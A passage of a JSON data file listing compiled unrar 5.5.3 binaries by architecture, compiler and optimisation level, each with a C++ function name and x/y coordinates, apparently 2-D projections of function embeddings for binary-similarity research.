"./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": -17.870176315307617, "y": 13.53077220916748, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": -18.307493209838867, "y": 13.980743408203125, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": -18.02945327758789, "y": 13.895578384399414, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.8.0.1.nopic.nopie.ELF", "x": -16.3522891998291, "y": 14.192415237426758, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": -6.184518337249756, "y": 16.408899307250977, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": -6.186278343200684, "y": 16.410072326660156, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": -6.184728622436523, "y": 16.409223556518555, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": -7.912601947784424, "y": 14.060686111450195, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": -7.911447525024414, "y": 14.05996322631836, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": -7.912611961364746, "y": 14.062711715698242, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": -8.766347885131836, "y": 15.395609855651855, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": -8.76634407043457, "y": 15.395644187927246, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": -8.767877578735352, "y": 15.395696640014648, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": -22.040931701660156, "y": 13.662030220031738, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": -22.040931701660156, "y": 13.662030220031738, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -22.407180786132812, "y": 14.132050514221191, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -22.40311050415039, "y": 14.131381034851074, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -22.073482513427734, "y": 14.033992767333984, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": -16.618221282958984, "y": 22.69507598876953, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": -16.619245529174805, "y": 22.694889068603516, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": -16.61903953552246, "y": 22.694713592529297, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.6.4.0.nopic.nopie.ELF", "x": -14.301064491271973, "y": 17.19973373413086, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": -16.38644790649414, "y": 19.46369171142578, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": -16.384950637817383, "y": 19.4647274017334, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": -16.385984420776367, "y": 19.46443748474121, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": -18.547414779663086, "y": 19.28369140625, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": -18.547414779663086, "y": 19.28369140625, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": -18.54489517211914, "y": 19.282894134521484, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": -8.634136199951172, "y": 17.187788009643555, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": -8.63382625579834, "y": 17.187332153320312, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.7.3.0.nopic.ELF", "x": -15.638503074645996, "y": 18.91490936279297, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.7.3.0.nopic.ELF", "x": -15.639617919921875, "y": 18.914302825927734, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": -11.155601501464844, "y": 18.227933883666992, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": -11.155861854553223, "y": 18.228107452392578, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": -11.157341957092285, "y": 18.22584342956543, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.ELF", "x": -19.20183563232422, "y": 19.514429092407227, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.ELF", "x": -18.01232147216797, "y": 16.417144775390625, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.ELF", "x": -17.99658966064453, "y": 16.405601501464844, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": -12.228684425354004, "y": 8.984840393066406, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": -12.231789588928223, "y": 8.984582901000977, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": -12.23188591003418, "y": 8.98458194732666, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": -12.990621566772461, "y": 15.062629699707031, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": -12.993115425109863, "y": 15.060842514038086, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": -12.989952087402344, "y": 15.058838844299316, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": -11.251699447631836, "y": 15.95944881439209, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": -11.249378204345703, "y": 15.95982837677002, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.clang.4.0.1.ELF", "x": -10.260342597961426, "y": 20.674072265625, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.clang.4.0.1.nopic.nopie.ELF", "x": -10.260196685791016, "y": 20.67582130432129, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.ELF", "x": -13.140583038330078, "y": 16.71272087097168, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.ELF", "x": -17.154991149902344, "y": 10.770795822143555, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.clang.4.0.1.ELF", "x": -23.0693302154541, "y": 19.029333114624023, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.clang.4.0.1.nopic.nopie.ELF", "x": -23.068288803100586, "y": 19.028593063354492, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.ELF", "x": -5.889124870300293, "y": -22.228254318237305, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.nopic.nopie.ELF", "x": -5.889158248901367, "y": -22.228239059448242, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": -12.406060218811035, "y": -27.66643714904785, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": -12.406061172485352, "y": -27.66643714904785, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": -12.406060218811035, "y": -27.66643524169922, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.6.4.0.ELF", "x": -8.186365127563477, "y": -18.256105422973633, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.6.4.0.ELF", "x": -8.186332702636719, "y": -18.256107330322266, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.8.0.1.ELF", "x": -19.856069564819336, "y": -21.128114700317383, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.8.0.1.ELF", "x": -19.856212615966797, "y": -21.128108978271484, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.7.3.0.nopic.ELF", "x": -18.54768180847168, "y": -19.592239379882812, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.ELF", "x": -14.457064628601074, "y": -15.437010765075684, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": -19.227882385253906, "y": -22.955394744873047, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": -19.22829246520996, "y": -22.95543670654297, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": -19.229955673217773, "y": -22.956279754638672, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.ELF", "x": -10.11983585357666, "y": -20.206453323364258, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": -11.546762466430664, "y": -18.960060119628906, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": -11.284531593322754, "y": -18.013431549072266, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": -11.713013648986816, "y": -20.572614669799805, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": -11.129646301269531, "y": -21.289512634277344, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": -10.604670524597168, "y": -19.028823852539062, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": -15.070685386657715, "y": -22.31504249572754, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": -13.654130935668945, "y": -21.429100036621094, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": -12.887458801269531, "y": -21.264036178588867, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.ELF", "x": -15.683552742004395, "y": -23.162654876708984, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": -12.505803108215332, "y": -19.202634811401367, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": -11.986493110656738, "y": -21.379491806030273, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": -13.71565055847168, "y": -23.941356658935547, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": -13.496618270874023, "y": -22.992019653320312, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": -14.77919864654541, "y": -23.787240982055664, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": -13.210980415344238, "y": -22.141769409179688, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": -12.561302185058594, "y": -22.906225204467773, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": -10.233172416687012, "y": -21.391359329223633, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.ELF", "x": -12.639458656311035, "y": -23.881465911865234, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": -14.029151916503906, "y": -22.201175689697266, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": -10.713118553161621, "y": -22.432451248168945, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": -12.454164505004883, "y": -22.048940658569336, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": -10.949166297912598, "y": -20.193984985351562, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": -11.621241569519043, "y": -23.279443740844727, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": -11.617133140563965, "y": -22.24509620666504, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": -11.722899436950684, "y": -19.721006393432617, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": -14.45283031463623, "y": -22.896507263183594, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.7.3.0.nopic.ELF", "x": -13.277050018310547, "y": -19.192232131958008, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.7.3.0.nopic.ELF", "x": -15.56901741027832, "y": -21.694393157958984, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": -16.28636932373047, "y": -22.345455169677734, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": -13.281429290771484, "y": -20.066957473754883, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": -12.542526245117188, "y": -20.67629051208496, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.ELF", "x": -13.157842636108398, "y": -18.328670501708984, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -12.553516387939453, "y": -19.97333335876465, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -12.328143119812012, "y": -18.350982666015625, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": -13.921235084533691, "y": -19.763750076293945, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": -14.473976135253906, "y": -21.542932510375977, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -14.646610260009766, "y": -19.987659454345703, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -16.73998260498047, "y": -20.235939025878906, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -14.984113693237305, "y": -21.04619789123535, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -15.333876609802246, "y": -20.248252868652344, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.ELF", "x": -16.71243667602539, "y": -21.353961944580078, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": -16.52073097229004, "y": -18.944934844970703, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": -13.410466194152832, "y": -17.134414672851562, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": -14.77153205871582, "y": -18.346315383911133, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": -12.351160049438477, "y": -17.407121658325195, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": -15.771305084228516, "y": -18.014162063598633, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": -14.782073974609375, "y": -17.372222900390625, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": -15.912364959716797, "y": -20.880094528198242, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": -15.472880363464355, "y": -19.031295776367188, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.ELF", "x": -14.276358604431152, "y": -20.660621643066406, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": -13.992844581604004, "y": -18.878644943237305, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.7.3.0.nopic.ELF", "x": -14.716105461120605, "y": -19.229520797729492, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": -15.942117691040039, "y": -19.757699966430664, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": -13.905560493469238, "y": -17.924198150634766, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": -13.563057899475098, "y": -20.707481384277344, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": -9.41976261138916, "y": -25.28690528869629, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": -9.420421600341797, "y": -25.286176681518555, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": -9.42042064666748, "y": -25.286176681518555, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.ELF", "x": -11.041119575500488, "y": -15.9684476852417, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": -18.20021629333496, "y": -16.58656883239746, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": -18.20022201538086, "y": -16.5866641998291, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": -16.450275421142578, "y": -26.85428810119629, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": -16.450275421142578, "y": -26.854290008544922, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": -16.450275421142578, "y": -26.85428810119629, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.ELF", "x": -6.2242512702941895, "y": -22.588687896728516, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.nopic.nopie.ELF", "x": -6.22424840927124, "y": -22.588680267333984, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": -20.48308563232422, "y": -26.65873908996582, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": -20.483081817626953, "y": -26.65875244140625, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": -20.483083724975586, "y": -26.65874671936035, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": -21.62865447998047, "y": -17.728164672851562, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": -21.62934112548828, "y": -17.729230880737305, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": -21.629344940185547, "y": -17.72922134399414, "function_name": "_ZN10ThreadPoolC1E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.ELF", "x": 9.453964233398438, "y": -8.975069999694824, "function_name": "_ZN11CommandDataD2E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.nopic.nopie.ELF", "x": 9.453964233398438, "y": -8.975069999694824, "function_name": "_ZN11CommandDataD2E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.ELF", "x": 9.453831672668457, "y": -8.97404670715332, "function_name": "_ZN11CommandDataD2E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.nopic.nopie.ELF", "x": 9.453964233398438, "y": -8.975069046020508, "function_name": "_ZN11CommandDataD2E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.ELF", "x": 10.521100997924805, "y": -13.016109466552734, "function_name": "_ZN11CommandDataD2E"}, {"file_name": 